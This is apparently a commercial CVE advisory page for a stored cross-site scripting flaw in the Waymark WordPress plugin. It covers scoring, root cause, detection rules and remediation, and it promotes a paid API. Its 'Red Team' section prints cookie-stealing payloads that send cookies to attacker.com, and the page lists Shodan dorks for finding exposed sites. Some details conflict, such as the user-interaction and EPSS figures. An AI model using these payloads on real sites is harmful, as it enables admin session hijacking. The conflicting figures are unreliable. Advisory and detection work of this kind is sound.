☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Waymark logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26770

CVE-2025-26770 Cross-Site Scripting in Joe waymark
📅 PUBLISHED: 2025-02-17 12:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26770 is a Stored Cross-Site Scripting (XSS) vulnerability in the Waymark WordPress plugin (versions <= 1.5.0) developed by Joe Waymark. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the application. This injected script executes in the context of any user viewing the affected page, leading to session hijacking, data theft, or defacement. The CVSS v3.1 score is 6.5 (Medium), with a low attack complexity and no requirement for user interaction beyond viewing the page. As of this report, no official patch is available, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no patch is available, site administrators must consider removing or disabling the plugin. The lack of a vendor response increases supply chain risk, as no official update or advisory has been issued. Organizations using Waymark should treat this as a high-priority security finding and implement virtual patching or WAF rules until a fix is available.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
  • User Interaction (UI): Required (R) – The victim must view the compromised page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the widespread use of WordPress make this a credible threat for targeted attacks. The requirement for authentication reduces the attack surface, but once an attacker gains low-level access, they can escalate impact.

Deep Dive & Mechanics

The vulnerability exists in the Waymark plugin’s handling of user-generated content, likely in custom post types or metadata fields. The plugin fails to sanitize or escape user input before rendering it in the browser. An attacker with contributor-level privileges can inject malicious JavaScript into fields such as post titles, descriptions, or custom fields. When an administrator or other user views the affected page, the script executes in their browser session.

Attack Flow:

  1. Attacker logs in with contributor credentials.
  2. Attacker creates or edits a Waymark post, injecting a payload like <script>alert('XSS')</script> into a vulnerable field.
  3. The payload is stored in the database without sanitization.
  4. When an administrator visits the post, the script executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the admin.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()). This allows raw HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Vulnerable Code (Waymark <= 1.5.0):

// In a template or shortcode handler
echo $post->post_title; // No escaping

Patched Code (Hypothetical):

// Proper escaping
echo esc_html( $post->post_title );

Since no official patch exists, the above is a recommended fix. The plugin should also use wp_kses_post() for rich content fields.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Waymark plugin <= 1.5.0.
  • Contributor-level account credentials.

Step-by-Step Exploit:

  1. Log in as a contributor.
  2. Navigate to Waymark → Add New.
  3. In the title or a custom field, inject:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Publish the post.
  5. Send the post link to an administrator (social engineering).
  6. When the admin views the post, their cookies are exfiltrated.

Example Payload (Steal Cookies):

fetch('https://attacker.com/steal?c='+document.cookie)

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual post content containing <script> tags.
  • Use WAF rules to block common XSS patterns.
  • Review user activity logs for suspicious post creation.

Hardening:

  • Disable or remove the Waymark plugin until a patch is available.
  • Implement Content Security Policy (CSP) headers to mitigate XSS.
  • Restrict contributor-level permissions to trusted users only.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains containing cookie data.
  • Host: Presence of <script> tags in Waymark post content in the database.
  • Logs: WordPress audit logs showing creation of posts with unusual HTML content.
  • File: Modified plugin files (if attacker gains file write access).

Example IOC (Database Query):

SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' AND post_type = 'waymark';

Detection Engineering

YARA Rule

rule CVE_2025_26770_Waymark_XSS {
    meta:
        description = "Detects stored XSS payloads in Waymark plugin content"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-26770"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $waymark_indicator = "waymark"
    condition:
        $waymark_indicator and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Waymark Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS payloads in Waymark plugin posts
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-json/wp/v2/waymark"
        http.body|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26770 Waymark Stored XSS"; flow:to_server; content:"/wp-json/wp/v2/waymark"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Waymark plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests to Waymark endpoints.
  3. Review user roles and remove contributor access for untrusted users.

Long-Term Fix:

  • The vendor must release a patched version (>= 1.5.1) that properly escapes output.
  • If no patch is forthcoming, consider forking the plugin or migrating to an alternative.

Virtual Patching (Example WAF Rule):

# Nginx WAF rule to block XSS in Waymark
if ($request_uri ~* "/wp-json/wp/v2/waymark") {
    set $block_xss 1;
}
if ($request_body ~* "<script") {
    set $block_xss "${block_xss}1";
}
if ($block_xss = "11") {
    return 403;
}

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Waymark"
http.html:"wp-content/plugins/waymark"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26770/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.